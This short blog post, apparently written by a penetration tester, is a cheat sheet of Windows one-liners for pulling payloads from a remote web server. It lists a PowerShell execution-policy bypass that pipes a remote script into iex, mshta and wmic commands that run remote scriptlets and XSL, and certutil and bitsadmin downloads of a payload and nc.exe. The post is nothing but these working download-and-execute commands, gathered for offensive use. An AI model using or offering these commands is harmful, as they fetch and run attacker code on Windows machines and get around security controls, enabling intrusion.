Windows Oneliners to Download Files

I was checking the windows oneliners to download files to the system here which is a great source. I will also just add bitsadmin to the list as well.

I also wanted to cover them here so that I can easily get access to them 🙂

powershell -exec bypass -c “(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(‘http://webserver/payload.ps1’)|iex”
mshta vbscript:Close(Execute(“GetObject(“”script:http://webserver/payload.sct””)”))
wmic os get /format:”https://webserver/payload.xsl
certutil -urlcache -split -f http://webserver/payload payload
bitsadmin /rawreturn /transfer getpayload http://IP/nc.exe nc.exe

Leave a Comment